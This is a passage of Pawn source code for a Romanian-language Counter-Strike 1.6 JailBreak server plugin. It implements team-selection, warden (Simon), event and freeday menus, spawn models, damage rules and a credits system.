return PLUGIN_CONTINUE;
set_task(1.0, "auto_join", id)
return PLUGIN_HANDLED;
}
public server_teamselect_new(id)
{
new Text[512]
formatex(Text, charsmax(Text), "Meniu Echipe, \rRATIE:^n\r3 T - 1 CT")
new menu = menu_create(Text, "menu_handler")
if(cs_get_user_team(id) != CS_TEAM_T)
formatex(Text, charsmax(Text), "Intra la \yPrizonieri \w[\y%i \wPrizonieri]", g_TeamCount[CS_TEAM_T])
else
formatex(Text, charsmax(Text), "Intra la \yPrizonieri \w[\y%i \wPrizonieri]", g_TeamCount[CS_TEAM_T])
menu_additem(menu, Text, "1")
if(get_user_team(id) != 2 && float(g_TeamCount[CS_TEAM_T]) / 3 > float(g_TeamCount[CS_TEAM_CT]))
formatex(Text, charsmax(Text), "Echipa Politistilor [%i Gardieni]", g_TeamCount[CS_TEAM_CT])
else
formatex(Text, charsmax(Text), "Echipa Politistilor \y[FULL]")
menu_additem(menu, Text, "2")
new bTeamSpect = (cs_get_user_team(id) == CS_TEAM_SPECTATOR)
if( bTeamSpect )
menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER)
else
menu_setprop(menu, MPROP_EXITNAME, "Exit")
menu_display(id, menu, 0)
return PLUGIN_HANDLED
}
public menu_handler(id, menu, item)
{
if(item == MENU_EXIT)
return PLUGIN_HANDLED
new dst[32], data[5], access, callback
new iMsgBlock = get_msg_block(114)
set_msg_block(114, BLOCK_SET)
new MsgBlock = get_msg_block(96)
set_msg_block(96, BLOCK_SET)
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
menu_destroy(menu)
switch(data[0])
{
case ('1'):
{
if(cs_get_user_team(id) != CS_TEAM_T)
{
engclient_cmd(id, "jointeam", "1")
engclient_cmd(id, "joinclass", "1")
user_silentkill(id)
}
else client_print(id, print_center, "Esti deja la prizonieri")
}
case ('2'):
{
if(get_bit(g_PlayerWanted, id))
{
client_print(id, print_center, "Nu poti intra la Gardieni deoarece esti cautat.")
return PLUGIN_HANDLED
}
if(float(g_TeamCount[CS_TEAM_T]) / 3 > float(g_TeamCount[CS_TEAM_CT]))
{
if(get_user_team(id) != 2)
{
engclient_cmd(id, "jointeam", "2")
engclient_cmd(id, "joinclass", "2")
}
else client_print(id, print_center, "Esti deja la gardieni")
}
else chatcolor(id, "Sunt prea multi Gardieni !!!")
}
}
set_msg_block(114, iMsgBlock)
set_msg_block(96, MsgBlock)
return PLUGIN_HANDLED
}
public cmd_joinclass(id) return PLUGIN_HANDLED
public clcmd_saymenu(id) cmd_mmenu(id)
public cmd_mmenu(id)
{
if(cs_get_user_team(id) != CS_TEAM_CT && cs_get_user_team(id) != CS_TEAM_T && !is_user_connected(id))
return PLUGIN_HANDLED
new szText[555 char]
formatex(szText, charsmax(szText), "\yMeniu Ajutator:");
new menu = menu_create(szText, "cmd_mmenu_handled");
formatex(szText, charsmax(szText), "\ySchimba Echipa");
menu_additem(menu, szText, "1", 0);
formatex(szText, charsmax(szText), "\yMeniu Glow")
menu_additem(menu, szText, "2", 0)
formatex(szText, charsmax(szText), "\yMagazin");
menu_additem(menu, szText, "3", 0);
if(get_user_flags(id) & read_flags("c"))
{
formatex(szText, charsmax(szText), "\yAdmin Menu");
menu_additem(menu, szText, "4", 0);
}
if(cs_get_user_team(id) == CS_TEAM_CT)
{
formatex(szText, charsmax(szText), "\yPune-te \wSimon");
menu_additem(menu, szText, "5", 0);
}
menu_display(id, menu, 0);
return PLUGIN_HANDLED
}
public cmd_mmenu_handled(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
new data[6], iName[64]
new access, callback
menu_item_getinfo(menu, item, access, data,5, iName, 63, callback)
new key = str_to_num(data)
switch(key)
{
case 1: server_teamselect_new(id)
case 2: cmd_glowmenu(id)
case 3: cmd_shopmenu(id)
case 4: cmd_adminmenus(id)
case 5: cmd_simon(id)
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public Choose(id)
{
if(is_user_connected(id) && get_user_team(id) == 1 || get_user_team(id) == 2)
cmd_mmenu(id)
else if(is_user_connected(id) && get_user_team(id) != 1 && get_user_team(id) != 2)
server_teamselect_new(id)
return PLUGIN_HANDLED
}
public impulse_100(id)
{
if(cs_get_user_team(id) == CS_TEAM_T && !g_GameMode) cmd_glowmenu(id)
if(cs_get_user_team(id) == CS_TEAM_CT && g_Simon) cmd_simonmenu(id)
if(cs_get_user_team(id) == CS_TEAM_CT && !g_Simon) cmd_mmenu(id)
return PLUGIN_CONTINUE
}
public cmd_event(id)
{
if(get_user_flags(id) & read_flags("y") && is_user_alive(id))
{
new szText[555 char]
formatex(szText, charsmax(szText), "\yMeniu Eveniment:");
new menu = menu_create(szText, "cmd_m_event");
formatex(szText, charsmax(szText), "Porneste Event");
menu_additem(menu, szText, "1", 0);
formatex(szText, charsmax(szText), "Opreste Event");
menu_additem(menu, szText, "2", 0);
formatex(szText, charsmax(szText), "Spawneaza cutie");
menu_additem(menu, szText, "3", 0);
formatex(szText, charsmax(szText), "Event LMS Automat");
menu_additem(menu, szText, "4", 0);
formatex(szText, charsmax(szText), "GodMode")
menu_additem(menu, szText, "5", 0)
formatex(szText, charsmax(szText), "NoClip");
menu_additem(menu, szText, "6", 0);
formatex(szText, charsmax(szText), "GodMode/Noclip OFF");
menu_additem(menu, szText, "7", 0);
formatex(szText, charsmax(szText), "Meniu BOX");
menu_additem(menu, szText, "8", 0);
formatex(szText, charsmax(szText), "Revive Menu Prizonieri");
menu_additem(menu, szText, "9", 0);
formatex(szText, charsmax(szText), "Ingheata prizonierii");
menu_additem(menu, szText, "10", 0);
formatex(szText, charsmax(szText), "Dezgheata prizonierii");
menu_additem(menu, szText, "11", 0);
formatex(szText, charsmax(szText), "Bhop ON");
menu_additem(menu, szText, "12", 0);
formatex(szText, charsmax(szText), "Bhop OFF");
menu_additem(menu, szText, "13", 0);
formatex(szText, charsmax(szText), "Voice Menu");
menu_additem(menu, szText, "14", 0);
menu_display(id, menu, 0);
} else {
chatcolor(id, "!y[!gEventMenu!y] Nu ai !gacces !yla Event Menu. Doar !gorganizatorii !yau acces! sau esti !gmort!")
return PLUGIN_HANDLED;
}
return PLUGIN_HANDLED;
}
public cmd_m_event(id, menu, item)
{
if(!is_user_alive(id))
return PLUGIN_HANDLED
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
new data[6], iName[64], name[32];
new access, callback
menu_item_getinfo(menu, item, access, data,5, iName, 63, callback)
new key = str_to_num(data)
get_user_name(id, name, charsmax(name))
switch(key)
{
case 1:
{
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 15.0)
show_hudmessage(0, "%s a pornit eventul !!", name)
IsEventActivated = true;
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_CT) set_user_godmode(i, 1)
}
}
case 2:
{
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 15.0)
show_hudmessage(0, "%s a oprit eventul !!", name)
IsEventActivated = false;
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_CT) set_user_godmode(i, 0)
}
}
case 3:
{
if(limitacutii < 60)
{
chatcolor(0, "!y[Event Cutii] Organizator !g%s !ya spawnat o !gcutie.!",name)
CreeazaCutie(id)
set_user_noclip(id, 1)
limitacutii++
cmd_event(id)
log_to_file("EventCutii.log","[Log Spawn] %s a spawnat o cutie.", name)
}
else
{
chatcolor(id, "!g[EventMenu]!y Maxim 60 cutii, taranete.")
}
}
case 4:
{
if(IsEventActivated)
{
EventAuto(id)
chatcolor(0, "!g[Auto-Event] %s !ya pornit eventul automat: LMS !", name)
g_ResetValues = 1;
}
}
case 5:
{
set_user_godmode(id, 1)
cmd_event(id)
chatcolor(id, "!y[!gEventMenu!y] Ti-ai setat !gGodMode.")
}
case 6:
{
set_user_noclip(id, 1)
cmd_event(id)
chatcolor(id, "!y[!gEventMenu!y] Ti-ai setat !gNoClip.")
}
case 7:
{
set_user_noclip(id, 0)
set_user_godmode(id, 0)
cmd_event(id)
chatcolor(id, "!y[!gEventMenu!y] Ti-ai setat !gNoClip & GodMode pe OFF.")
}
case 8: client_cmd(id, "say /box")
case 9: cmd_simonrevive(id)
case 10:
{
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_T) FreezePlayers(1, 1);
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 8.0)
show_hudmessage(0, "%s a inghetat toti prizonierii [Motiv: Event]", name)
}
}
case 11:
{
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_T) FreezePlayers(1, 0);
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 8.0)
show_hudmessage(0, "%s a dezghetat toti prizonierii [Motiv: Event]", name)
}
}
case 12:
{
g_BhopON = true;
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 3.0)
show_hudmessage(0, "%s a activat BHOP!", name)
}
case 13:
{
g_BhopON = false;
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 3.0)
show_hudmessage(0, "%s a dezactivat BHOP!", name)
}
case 14: cmd_voicemenu(id)
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public EventAuto(id)
{
new iPlayers[32]
new iNum
new id
g_isLMS = 1;
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
g_BoxStarted = 1
set_cvar_num("mp_friendlyfire", 1)
if(cs_get_user_team(id) == CS_TEAM_T)
{
give_item(id, "weapon_ak47")
give_item(id, "weapon_m4a1")
give_item(id, "weapon_deagle")
cs_set_user_bpammo( id, CSW_AK47, 999 );
cs_set_user_bpammo( id, CSW_M4A1, 999 );
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
give_item(id, "weapon_knife")
set_user_health(id, 100)
}
if(cs_get_user_team(id) == CS_TEAM_CT)
{
set_user_godmode(id, 1)
give_item(id, "weapon_knife")
}
}
}
public CreeazaCutie(id)
{
new Float:flPlayerOrigin [3]
pev(id, pev_origin, flPlayerOrigin)
flPlayerOrigin[2] += 4.0;
new iEntityCB = create_entity("info_target")
if(pev_valid(iEntityCB))
{
engfunc(EngFunc_SetOrigin, iEntityCB, flPlayerOrigin)
set_pev(iEntityCB, pev_classname, gCrowbarClassname)
engfunc(EngFunc_SetModel, iEntityCB, "models/Event/Box.mdl")
set_pev(iEntityCB, pev_solid, SOLID_SLIDEBOX)
set_pev(iEntityCB, pev_movetype, MOVETYPE_NONE)
set_pev(iEntityCB, pev_framerate, 1.0)
engfunc(EngFunc_SetSize, iEntityCB, Float:{ -5.0, -5.0, -5.0 }, Float:{ 5.0, 5.0, 5.0 })
engfunc(EngFunc_DropToFloor, iEntityCB)
set_pev(iEntityCB, pev_nextthink, get_gametime( ) + 1.0)
}
return PLUGIN_HANDLED;
}
public cmd_simonmenu(id)
{
if(g_Simon == id)
{
if(is_user_alive(id) && is_user_connected(id))
{
new simon_menu = menu_create("Meniu Simon \yJb.LeagueCS.Ro", "simon_choice");
menu_additem(simon_menu, "\yDeschide Celulele", "1", 0);
menu_additem(simon_menu, "FreeDay Menu", "2", 0)
menu_additem(simon_menu, "\yzDing!", "3", 0);
menu_additem(simon_menu, "Zile \ySpeciale", "4", 0);
menu_additem(simon_menu, "Demisioneaza din gradu de Simon", "5", 0);
menu_additem(simon_menu, "Meniu BOX", "6", 0);
menu_additem(simon_menu, "Meniu Numaratoare Inversa", "7", 0)
menu_additem(simon_menu, "Revive Menu", "8", 0);
//menu_additem(simon_menu, "Imparte Echipele", "9", 0);
menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, simon_menu, 0);
}
}
else
client_print(id, print_chat, "*** Nu esti SIMON deci nu poti accesa SIMON MENU ***");
return PLUGIN_HANDLED;
}
public simon_choice(id, simon_menu, item)
{
if( item == MENU_EXIT || !is_user_alive(id) )
{
menu_destroy(simon_menu);
return PLUGIN_HANDLED;
}
new data[6], iName[64], name[32];
new access, callback;
get_user_name(g_Simon, name, charsmax(name))
menu_item_getinfo(simon_menu, item, access, data,5, iName, 63, callback);
new key = str_to_num(data);
switch(key)
{
case 1:
{
jail_open()
new name[32]
get_user_name(g_Simon, name, charsmax(name))
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_SIMON", name)
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
cmd_simonmenu(id)
}
case 2: cmd_freeday(id)
case 3:
{
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_ding.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
cmd_simonmenu(id)
}
case 4: cmd_daysmenu(id)
case 5: cmd_simonreset(id)
case 6: cmd_boxmenu(id)
case 7: cmd_countdownmenu(id)
case 8: cmd_simonrevive(id)
/*case 9:
{
chatcolor(0, "!y[!gSimonMenu!y] Simon !g%s !ya impartit echipele!", name)
ImparteEchipele()
}*/
}
menu_destroy(simon_menu);
return PLUGIN_HANDLED;
}
public cmd_countdownmenu(id)
{
new szText[128];
formatex( szText, charsmax( szText ), "Meniu Countdown")
new menu = menu_create( szText, "Otc_Timer_handler" )
formatex( szText, charsmax( szText ), "3 secunde")
menu_additem( menu, szText, "1", 0 );
formatex( szText, charsmax( szText ), "5 secunde")
menu_additem( menu, szText, "2", 0 );
formatex( szText, charsmax( szText ), "10 secunde")
menu_additem( menu, szText, "3", 0 );
formatex(szText, charsmax(szText), "Iesire")
menu_setprop(menu, MPROP_EXITNAME, szText)
menu_display( id, menu, 0 );
}
public Otc_Timer_handler(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
new data[6], iName[64], access, callback;
menu_item_getinfo(menu, item, access, data, charsmax(data), iName, charsmax(iName), callback);
new key = str_to_num(data);
switch(key)
{
case 1:
{
if(task_exists(51126))
remove_task(51126)
g_Seconds = 4
new param[32]
set_task(1.0,"countSS",51126,param,31,"b",0)
}
case 2:
{
if(task_exists(51126))
remove_task(51126)
g_Seconds = 6
new param[32]
set_task(1.0,"countSS",51126,param,31,"b",0)
}
case 3:
{
if(task_exists(51126))
remove_task(51126)
g_Seconds = 11
new param[32]
set_task(1.0,"countSS",51126,param,31,"b",0)
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public countSS()
{
if (--g_Seconds > 0)
{
if (g_Seconds>= 0)
{
client_print(0, print_center, "->> %d secunde <<-", g_Seconds)
}
}
}
public cmd_freeday(id)
{
static menu, menuname[32], option[64]
if(!is_freeday() && ((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c")))
{
formatex(menuname, charsmax(menuname), "%L", LANG_SERVER, "JBE_MENU_FREEDAY")
menu = menu_create(menuname, "freeday_choice")
formatex(option, charsmax(option), "%L", LANG_SERVER, "JBE_MENU_FREEDAY_PLAYER")
menu_additem(menu, option, "1", 0)
formatex(option, charsmax(option), "%L", LANG_SERVER, "JBE_MENU_FREEDAY_ALL")
menu_additem(menu, option, "2", 0)
formatex(option, charsmax(option), "Remove Freeday")
menu_additem(menu, option, "3", 0)
menu_display(id, menu)
}
return PLUGIN_HANDLED
}
public freeday_choice(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
menu_destroy(menu)
get_user_name(id, dst, charsmax(dst))
switch(data[0])
{
case('1'): cmd_freeday_player(id)
case('2'): cmd_ask(id)
case('3'): cmd_remove_freeday(id)
}
return PLUGIN_HANDLED
}
public cmd_remove_freeday(id)
{
if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT || is_user_admin(id))
have_freeday_menu(id, "fd_remove", "Cui vrei sa scoti fd ?")
return PLUGIN_CONTINUE
}
public fd_remove(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], player, access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
freeday_remove(id, player)
return PLUGIN_HANDLED
}
public cmd_freeday_player(id)
{
if((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c"))
menu_players(id, CS_TEAM_T, id, 1, "freeday_select", "%L", LANG_SERVER, "JBE_MENU_FREEDAY")
return PLUGIN_CONTINUE
}
public freeday_select(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], player, access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
freeday_set(id, player)
set_bit(g_PlayerFreeday, player)
return PLUGIN_HANDLED
}
public cmd_ask(id)
{
static menu, menuname[32], option[64]
if(!is_freeday() && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT)
{
formatex(menuname, charsmax(menuname), "%L", LANG_SERVER, "JBE_FD_ANSWER_TITLE")
menu = menu_create(menuname, "freeday_ask")
formatex(option, charsmax(option), "\y%L", LANG_SERVER, "JBE_FD_ANSWER_YES")
menu_additem(menu, option, "1", 0)
formatex(option, charsmax(option), "\r%L", LANG_SERVER, "JBE_FD_ANSWER_NO")
menu_additem(menu, option, "2", 0)
menu_display(id, menu)
}
return PLUGIN_HANDLED
}
public freeday_ask(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
menu_destroy(menu)
get_user_name(id, dst, charsmax(dst))
switch(data[0])
{
case('1'):
{
if(g_GameMode || g_PlayerLast)
{
chatcolor(id, "!g[JailBreak] !yNu poti face asta.")
return PLUGIN_HANDLED
}
if(cs_get_user_team(id) == CS_TEAM_CT || get_user_flags(id) & read_flags("c"))
{
g_Simon = 0
get_user_name(id, dst, charsmax(dst))
chatcolor(0, "!g[JailBreak] !yGardianul !t[!g%s!t] !ya dat la toti !tPrizonieri !gFreeDay!y.", dst)
check_freeday(2487100)
jail_open()
}
}
case('2'):
{
if(g_GameMode || g_PlayerLast)
{
chatcolor(id, "!g[JailBreak] !yNu poti face asta.")
return PLUGIN_HANDLED
}
if(cs_get_user_team(id) == CS_TEAM_CT || get_user_flags(id) & read_flags("c"))
cmd_freeday(id)
}
}
return PLUGIN_HANDLED
}
public FreezePlayers(i_Team, i_Freeze)
{
new i_Pteam;
for(new i_Player = 1; i_Player <= g_MaxClients; i_Player++)
{
if(!is_user_connected(i_Player))
continue;
i_Pteam = get_user_team(i_Player);
if(i_Pteam != i_Team)
continue;
if(is_user_alive(i_Player))
{
PlayerFreeze(i_Player, i_Freeze);
}
}
}
public kill_all()
{
for(new i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i) || !is_user_alive(i))
continue
user_silentkill(i)
g_GameMode = 0;
secundeday = 0;
}
chatcolor(0, "!y[!gJailBreak!y] Ziua a luat sfarsit!")
return PLUGIN_HANDLED;
}
public reset()
{
remove_task(4567);
g_BlockWeapons = 1
if(g_GameMode == 8)
{
for(new i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i) || !is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_T)
{
FreezePlayers(1,1)
}
else if(cs_get_user_team(i) == CS_TEAM_CT)
{
FreezePlayers(2,0)
Reset_Screen(i);
}
}
}
}
public Fade_To_Black(id)
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
write_short((1<<3)|(1<<8)|(1<<10))
write_short((1<<3)|(1<<8)|(1<<10))
write_short((1<<0)|(1<<2))
write_byte(255)
write_byte(0)
write_byte(0)
write_byte(255)
message_end()
}
public Reset_Screen(id)
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
write_short(1<<2)
write_short(0)
write_short(0)
write_byte(0)
write_byte(0)
write_byte(0)
write_byte(0)
message_end()
}
public fw_PlayerPreThink(id)
{
if(g_GameMode <= 0)
{
if(g_PlayerLast)
{
if(is_user_alive(id) && is_user_connected(id))
{
set_pev(id, pev_maxspeed, 250.0)
set_user_noclip(id, 0)
set_user_godmode(id, 0)
set_user_gravity(id, 1.0)
}
return PLUGIN_HANDLED
}
}
if(g_ResetValues)
{
if(is_user_alive(id) && is_user_connected(id) && get_user_team(id) == 1)
{
set_user_maxspeed(id, 250.0)
set_user_noclip(id, 0)
set_user_godmode(id, 0)
set_user_gravity(id, 1.0)
}
return PLUGIN_HANDLED;
}
if(g_Speed[id])
{
set_pev(id, pev_maxspeed, 444.0)
}
if(g_Gravity[id])
{
set_user_gravity(id, 0.3)
}
if(g_GameMode == 14 && is_user_alive(id))
{
if(cs_get_user_team(id) == CS_TEAM_T && get_user_maxspeed(id) <= 5)
{
set_user_rendering( id, kRenderFxNone, 0, 0, 0, kRenderTransTexture, 0 );
set_pev(id, pev_maxspeed, 444.0)
} else {
set_rendering(id)
}
}
if( !is_user_alive ( id ) || is_user_in_air ( id ) )
return FMRES_IGNORED;
if(g_GameMode != 3)
return FMRES_IGNORED;
set_pev ( id, pev_button, pev ( id, pev_button ) & ~IN_ATTACK );
set_pev ( id, pev_button, pev ( id, pev_button ) & ~IN_ATTACK2 );
return FMRES_IGNORED;
}
public player_spawn(id)
{
static CsTeams:team
if(!is_user_connected(id))
return HAM_IGNORED
set_pdata_float(id, 198, get_gametime() + 999999.0)
player_strip_weapons(id)
g_SimonAllowed = 1
g_BlockWeapons = 0
g_FreedayNext = 0
if(g_RoundEnd)
{
jbe_set_day_week(++g_JailDay);
g_RoundEnd = 0
}
set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
clear_bit(g_PlayerWanted, id)
team = cs_get_user_team(id)
clear_bit(g_PlayerCrowbar, id)
u_knife[id] = 0;
switch(team)
{
case(CS_TEAM_T):
{
g_PlayerLast = 0
if(!g_PlayerReason[id])
g_PlayerReason[id] = random_num(1, 6)
player_hudmessage(id, 0, 5.0, {255, 0, 255}, "%L %L", LANG_SERVER, "JBE_PRISONER_REASON",
LANG_SERVER, g_Reasons[g_PlayerReason[id]])
if(get_user_flags(id) & read_flags("a"))
{
cs_set_player_model(id, "jb_ownt")
set_pev(id, pev_body, 1)
}
else if(get_user_flags(id) & read_flags("x"))
{
cs_set_player_model(id, "vipt_jbleague")
set_pev(id, pev_body, 1)
}
else
{
cs_set_player_model(id, "jblgcs")
set_pev(id, pev_body, 2)
set_pev(id, pev_skin, random_num(0, 2))
}
if(is_freeday() || get_bit(g_FreedayAuto, id))
{
freeday_set(0, id)
clear_bit(g_FreedayAuto, id)
}
if(g_CrowbarCount < get_pcvar_num(gp_CrowbarMax))
{
if(random_num(0, g_MaxClients) > (g_MaxClients / 2))
{
g_CrowbarCount++
set_bit(g_PlayerCrowbar, id)
}
}
player_strip_weapons(id)
cs_set_user_armor(id, 0, CS_ARMOR_NONE)
}
case(CS_TEAM_CT):
{
if(get_user_flags(id) & read_flags("a"))
{
cs_set_player_model(id, "jb_ownct")
set_pev(id, pev_body, 1)
}
else if(get_user_flags(id) & read_flags("x"))
{
cs_set_player_model(id, "vipct_jbleague")
set_pev(id, pev_body, 1)
}
else
{
cs_set_player_model(id, "jblgcs")
set_pev(id, pev_body, 3)
}
give_item(id, "weapon_knife")
set_user_health(id, 125)
set_pev(id, pev_viewmodel2, "models/jb_models/v_bulan7.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/p_bulan7.mdl")
g_usedguns[id] = 0;
class_menu(id)
}
}
return HAM_IGNORED
}
public player_damage(victim, ent, attacker, Float:damage, bits, DamageType, Float:vecOrigin[3])
{
if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker)
return HAM_IGNORED
set_pdata_int(victim, 509, true)
switch(g_Duel)
{
case(0):
{
if(attacker == ent && get_user_weapon(attacker) == CSW_KNIFE && get_bit(g_PlayerCrowbar, attacker) && cs_get_user_team(victim) != CS_TEAM_T)
{
SetHamParamFloat(4, damage * 25)
return HAM_OVERRIDE
}
}
case(2):
{
if(attacker != g_PlayerLast)
return HAM_SUPERCEDE
}
default:
{
if((victim == g_PlayerDuelT && attacker == g_PlayerDuelCT) || (victim == g_PlayerDuelCT && attacker == g_PlayerDuelT))
return HAM_IGNORED
return HAM_SUPERCEDE
}
}
if(g_PlayerCrowbar) {
if(!is_user_connected(attacker))
return HAM_IGNORED
if(get_user_weapon(attacker) != CSW_KNIFE || !g_Had_Crowbar[attacker])
return HAM_IGNORED
SetHamParamFloat(4, damage * 3.0)
return HAM_IGNORED
}
return HAM_IGNORED
}
public speeds(id)
{
if(is_user_connected(id))
{
knifespeed[id] = false
set_user_maxspeed(id, 280.0)
}
}
public player_attack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damagebits)
{
static CsTeams:vteam, CsTeams:ateam
if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker)
return HAM_IGNORED
vteam = cs_get_user_team(victim)
ateam = cs_get_user_team(attacker)
if(ateam == CS_TEAM_CT && vteam == CS_TEAM_CT)
return HAM_SUPERCEDE
switch(g_Duel)
{
case(0):
{
if(ateam == CS_TEAM_CT && vteam == CS_TEAM_T)
{
if(get_bit(g_PlayerRevolt, victim))
{
JailHudTask(0)
clear_bit(g_PlayerRevolt, victim)
}
return HAM_IGNORED
}
}
case(2):
{
if(attacker != g_PlayerLast)
return HAM_SUPERCEDE
}
default:
{
if((victim == g_PlayerDuelT && attacker == g_PlayerDuelCT) || (victim == g_PlayerDuelCT && attacker == g_PlayerDuelT))
return HAM_IGNORED
return HAM_SUPERCEDE
}
}
if(ateam == CS_TEAM_T && vteam == CS_TEAM_T && !g_BoxStarted)
return HAM_SUPERCEDE
if(ateam == CS_TEAM_T && vteam == CS_TEAM_CT)
{
if(!g_PlayerRevolt && !g_GameMode)
revolt_start()
set_bit(g_PlayerRevolt, attacker)
}
return HAM_IGNORED
}
public button_attack(button, id, Float:damage, Float:direction[3], tracehandle, damagebits)
{
if(is_valid_ent(button))
{
ExecuteHamB(Ham_Use, button, id, 0, 2, 1.0)
entity_set_float(button, EV_FL_frame, 0.0)
}
return HAM_IGNORED
}
public player_killed(victim, attacker)
{
static CsTeams:vteam, CsTeams:kteam
if(!(0 < attacker <= g_MaxClients) || !is_user_connected(attacker))
kteam = CS_TEAM_UNASSIGNED
else
kteam = cs_get_user_team(attacker)
vteam = cs_get_user_team(victim)
new name[32], name2[33];
get_user_name(attacker, name, charsmax(name))
get_user_name(victim, name2, charsmax(name2))
u_knife[victim] = 0;
if(victim != attacker)
{
if(get_user_team(attacker) == 2 && !g_GameMode)
{
chatcolor(attacker, "!y[!gCredits!y] Ai primit 1 credit deoarece ai omorat un prizonier.")
credite[attacker]=credite[attacker]+1;
}
}
if(g_Simon == victim)
{
g_Simon = 0
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_kill.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
}
if(g_GunDayFortat)
{
if(float(g_TeamCount[CS_TEAM_T]) / 3 < float(g_TeamCount[CS_TEAM_CT]))
{
if(cs_get_user_team(victim) == CS_TEAM_CT) cs_set_user_team(victim, CS_TEAM_T)
}
else {
chatcolor(0, "!g[Gun Day Fortat] !yEchipele au fost echilibrate, Gardienii au primit slay!")
g_GunDayFortat = 0;
for(new i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i) || !is_user_alive(i))
continue
user_silentkill(i);
}
}
}
if(g_GameMode == 1) emit_sound(0, CHAN_AUTO, "jb_sounds/zombie_death.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
if(g_GameMode == 12) emit_sound(0, CHAN_AUTO, "jb_sounds/headshot.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
if(g_GameMode == 15)
{
set_task(0.5, "ReviveHunger", victim)
set_task(1.2, "HungerGamesRespawn", victim)
}
_RemoveEntity(victim)
if(!is_freeday() && get_bit(g_PlayerFreeday, victim) && !get_bit(g_PlayerWanted, victim) && !g_PlayerRevived[victim] && get_user_team(attacker) == 2)
chatcolor(0, "!t[!gFreeDay!t] !y%s la omorat pe %s (Jucator cu freeday)", name, name2);
g_Speed[victim] = false
g_Gravity[victim] = false
switch(g_Duel)
{
case(0):
{
switch(vteam)
{
case(CS_TEAM_CT):
{
if(kteam == CS_TEAM_T && !get_bit(g_PlayerWanted, attacker))
{
if(!g_GameMode)
{
set_bit(g_PlayerWanted, attacker)
clear_bit(g_PlayerFreeday, attacker)
cs_set_player_model(attacker, "jblgcs")
set_pev(attacker, pev_body, 2)
set_pev(attacker, pev_skin, 4)
chatcolor(attacker, "!y[!gCredits!y] Ai primit 2 credite deoarece ai omorat un gardian.")
credite[attacker]=credite[attacker]+2;
}
}
}
case(CS_TEAM_T):
{
clear_bit(g_PlayerRevolt, victim)
clear_bit(g_PlayerWanted, victim)
}
}
}
default:
{
if (vteam == CS_TEAM_T)
{
if(task_exists(51134))
remove_task(51134)
set_task(2.1, "task_last_duel", 51134)
}
if(g_Duel != 2 && (attacker == g_PlayerDuelT || attacker == g_PlayerDuelCT || victim == g_PlayerDuelT || victim == g_PlayerDuelCT))
{
duel_end()
team_count()
g_PlayerLast = 0
g_Duel = 0
}
}
